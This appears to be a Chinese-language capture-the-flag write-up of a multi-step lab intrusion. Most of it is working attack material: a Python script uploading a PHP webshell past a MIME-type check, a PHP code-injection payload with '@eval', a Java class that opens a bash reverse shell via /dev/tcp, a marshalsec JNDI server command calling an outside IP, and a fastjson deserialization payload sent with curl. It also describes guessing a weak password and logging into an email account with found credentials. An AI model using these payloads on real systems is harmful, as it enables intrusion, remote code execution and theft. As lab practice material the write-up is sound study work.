RW02目标资产渗透认证
首先是访问给的靶标,看到帮助文档底部有Anonymous-Chat-Room
于是我们上谷歌搜,可以找到
https://github.com/ping-xiong/Chat-Room-for-Two/blob/master/Applications/chat/Events.php
尝试默认的后台账户密码,但是行不通,接着翻一下目录代码,发现了一个photo_upload
if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/x-png")) ) { if ($_FILES["file"]["error"] > 0) { echo "无效文件"; } else { $file_name = uniqid(); move_uploaded_file($_FILES["file"]["tmp_name"], "images/photo/" . $file_name.$_FILES["file"]["name"]); echo $file_name.$_FILES["file"]["name"]; } } else { echo "无效文件"; }
|
这个过滤等于没过滤,直接伪造一下就行
import requests
url = "https://i.am.ctfer.com/photo_upload.php" files = { 'file': ("1.php", open("../1.php", "rb"), "image/jpeg"), }
resp = requests.post(url=url, files=files) print(resp.text)
|
拿到shell后,瞄了眼wp,不是在这个机器上提权,就没往提权研究了
想到之前的后台登录,我们翻login.php,发现了账户密码,直接登录,但是好像没啥用,不过给的账户是个163的网易邮箱,可以去登一下
可以翻到一篇入职通知的邮件,但是被加密了,尝试弱口令,发现是123456
然后就又多了两个目标,还有一个账号
其中一个是一个开放的vscode服务,可以直接通过terminal拿到root,但是也没用,说明里有说flag不在这,只能耐心审代码了。
注意到这个/c/t.php
<?php date_default_timezone_set("Asia/Shanghai"); header('Content-type:text/json;charset=utf-8'); error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING); session_start(); if ($_SESSION['log'] !== 'yes') { $result['result'] = 'notok'; $result['msg'] = '请登录'; echo json_encode($result, true); session_write_close(); exit(); } session_write_close(); require_once './f.php'; $type = $_GET['type']; $t = $_POST['title']; $c = urldecode($_POST['content']); $d = $_POST['dat']; $a = $_POST['tag']; $edits = $_POST['editn']; $zhiding = $_POST['ifzd']; $fstr = ''; $result['result'] = 'ok'; function valid_date($date) { if (preg_match("/^([0-9]{4})-([0-9]{2})-([0-9]{2})$/", $date, $parts)) { if (checkdate($parts[2], $parts[3], $parts[1])) return true; else return false; } else return false; } if ($type == 'submit') { if (!is_dir('./../p/')) { mkdir('./../p/'); } if (!file_exists('./../p/index.php')) { $strs = '<?php $inn=0;$in=array();$tp=\'\';$tagi=array(); ?>'; file_put_contents('./../p/index.php', $strs); } if ($edits == '' || $edits == 'undefined' || $edits == 'null') { if (!empty($t) && !empty($d) && !empty($c)) { if (empty($a)) { $a = '日常'; } require './../p/index.php'; $datestr = substr($d, 0, 4) . "-" . substr($d, 4, 2) . "-" . substr($d, 6, 2); if (valid_date($datestr)) { $in[$inn] = $d; } else { $in[$inn] = date('Ymd'); } $tagi[$inn] = $a; if ($zhiding == 'yes') { $rtp = preg_replace("/\t|,/", '', $tp); if (empty($rtp)) { $tp = $inn . ','; } else { $tp = $tp . $inn . ','; } } arsort($in); $inn = $inn + 1; file_put_contents('./../p/index.php', '<?php $inn=' . $inn . ';$in=' . var_export($in, true) . ';$tp=\'' . $tp . '\';$tagi=' . var_export($tagi, true) . ';?>'); if (valid_date($datestr)) { $fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="post";?>'; } else { $fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="page";?>'; } file_put_contents('./../p/' . ($inn - 1) . '.php', $fstr); changed(); $result['pid'] = ($inn - 1); } else { $result['result'] = 'notok'; $result['msg'] = '除了标签,其他内容不得为空.'; ........ .... } } else { $result['result'] = 'notok'; $result['msg'] = '请求错误'; } echo json_encode($result, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); ?>
|
主要是这个地方
$fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="post";?>'; file_put_contents('./../p/' . ($inn - 1) . '.php', $fstr);
|
这里仔细点就能发现,因为$t可控,很容易就能吧前后闭合调,传入我们想执行的代码
<?php $fstr = ''; $t = "\";phpinfo();?>"; $c = "%3d"; $d = "11"; $a = 'tag'; $fstr = '<?php $ptitle="' . $t . '";$pcontent=\'' . addslashes(htmlspecialchars($c)) . '\';$pdat="' . $d . '";$tag="' . $a . '";$ptype="post";?>'; echo $fstr;
|
用python上传时要注意,他这里是要验证登录的,也就是a的路由,不过那是个默认口令,用他给的admin:123456就能登录
""" @Author: C4ry7nk """
import requests
url = "https://blog.ctfer.com/c/t.php?type=submit"
header = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" }
Cookie = { "PHPSESSID": "1db2d15b63fec63ed5ea11cd7e43b2e1", }
data = { "title": "\";@eval($_POST['x']);?>", "dat": "dat", "content": "%3d", }
resp = requests.post(url=url, data=data, headers=header, cookies=Cookie) print(resp.text)
|
获得shell后,继续信息搜集,但是这个shell,应该是服务器有定时任务,会定时清理后门🐎,所以隔一会shell就断了。
探测这里就按wp的方法来吧,实际环境中要是不能上传工具,也可以利用shell脚本,或者wp那样手动ping,除了本机192.168.101.3还有个存活的192.168.101.2
漏洞点就是8090的fastjson < 1.2.25的CVE-2017-18349,环境看上去应该就是vulhub的那个靶场环境
首先生成恶意的class
public class fast { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps/2333 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
编译成class文件,python起一个http服务
利用marshalsec启动jdni的监听
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://43.143.156.226/#fast" 22222
|
再搞一个json文件,用curl发起请求
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://vps:22222/Exploit", "autoCommit":true } }
|
curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json
|
总结
挺有意思的,出题人也花了心思的,相较于平常CTF来说确实贴近实战,第一期的时候可惜在考试,没来得及复现